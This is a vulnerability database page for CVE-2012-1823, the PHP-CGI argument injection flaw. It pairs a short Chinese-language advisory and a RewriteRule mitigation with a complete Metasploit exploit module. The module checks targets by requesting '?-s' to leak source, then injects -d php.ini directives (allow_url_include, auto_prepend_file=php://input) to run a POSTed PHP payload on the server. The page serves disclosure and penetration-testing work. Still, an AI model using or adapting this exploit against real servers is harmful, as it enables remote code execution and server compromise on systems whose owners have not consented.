Lucene search

K
seebug
RootSSV:60093
HistoryMay 04, 2012 - 12:00 a.m.

PHP-CGI远程任意代码执行漏洞

2012-05-0400:00:00
Root
www.seebug.org
267

0.975 High

EPSS

Percentile

100.0%

CVE ID: CVE-2012-1823

PHP是一种HTML内嵌式的语言,PHP与微软的ASP颇有几分相似,都是一种在服务器端执行的嵌入HTML文档的脚本语言,语言的风格有类似于C语言,现在被很多的网站编程人员广泛的运用。可以被各种Web服务器以多种方式调用,实现动态网页的功能。

PHP处理参数的传递时存在漏洞,在特定的配置情况下,远程攻击者可能利用此漏洞在服务器上获取脚本源码或执行任意命令。

当PHP以特定的CGI方式被调用时(例如Apache的mod_cgid),php-cgi接收处理过的查询格式字符串作为命令行参数,允许命令行开关(例如-s、-d 或-c)传递到php-cgi程序,导致源代码泄露和任意代码执行。FastCGI不受影响。
0
PHP
临时解决方法:

使用RewriteRule来过滤请求:

RewriteRule规则如下

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|- [NC]
RewriteRule .? - [F,L]

厂商补丁:

PHP

目前厂商已经发布了5.3.12及5.4.2两个最新版本,但有报告说并没有正确修复这个安全问题,请密切关注厂商网站下载最新版本:

http://www.php.net


                                                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

load 'lib/msf/core/exploit/http/server.rb'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PHP CGI Argument Injection',
            'Description'    => %q{
                When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
                an argument injection vulnerability.  This module takes advantage of
                the -d flag to set php.ini directives to achieve code execution.
                From the advisory: "if there is NO unescaped ‘=’ in the query string,
                the string is split on ‘+’ (encoded space) characters, urldecoded,
                passed to a function that escapes shell metacharacters (the “encoded in
                a system-defined manner” from the RFC) and then passes them to the CGI
                binary."
            },
            'Author'         => [ 'egypt', 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     => [
                    [ "CVE"    , "2012-1823" ],
                    [ "URL"    , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    # Arbitrary big number. The payload gets sent as an HTTP
                    # response body, so really it's unlimited
                    'Space'       => 262144, # 256k
                },
            'DisclosureDate' => 'May 03 2012',
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0))

        register_options([
            OptString.new('TARGETURI', [false, "The URI to request"]),
            ], self.class)
    end

    # php-cgi -h
    # ...
    #   -s               Display colour syntax highlighted source.
    def check
        uri = target_uri.path
        if(uri and ! uri.empty?)
            uri.gsub!(/\?.*/, "")

            print_status("Checking uri #{uri}")

            response = send_request_raw({ 'uri' => uri })

            if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
                print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
                return Exploit::CheckCode::Unknown
            end

            response = send_request_raw({ 'uri' => uri + '?-s'})
            if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
                return Exploit::CheckCode::Vulnerable
            end

            print_error("Server responded indicating it was not vulnerable")
            return Exploit::CheckCode::Safe
        else
            return Exploit::CheckCode::Unknown
        end
    end

    def exploit
        #sleep 100
        begin
            php_trues  = [ "1", "on", "true" ]
            php_falses = [ "0", "off", "false" ]
            args = [
                "-d+allow_url_include%3d#{rand_php_ini_true}",
                "-d+auto_prepend_file%3dphp://input",
            ]

            qs = args.join("+")
            uri = "#{target_uri}?#{qs}"
            p uri

            # Has to be all on one line, so gsub out the comments and the newlines
            payload_oneline = "<?php " +payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
            response = send_request_cgi( {
                'method' => "POST",
                'global' => true,
                'uri'    => uri,
                'data'   => payload_oneline,
            }, 0.1)
            handler

        rescue ::Interrupt
            raise $!
        rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
            print_error("The target service unreachable")
        rescue ::OpenSSL::SSL::SSLError
            print_error("The target failed to negotiate SSL, is this really an SSL service?")
        end
    end

    def rand_php_ini_false
        [ "0", "off", "false" ].sort_by{rand}.first
    end

    def rand_php_ini_true
        [ "1", "on", "true" ].sort_by{rand}.first
    end

end
                              
How to find holes in your network?

Try incredible fast Vulners Perimeter Scanner and find vulnerabilities and unnecessary ip and ports in network devices inside your network before anyone else.

Try Network Scanner

0.975 High

EPSS

Percentile

100.0%

Related for SSV:60093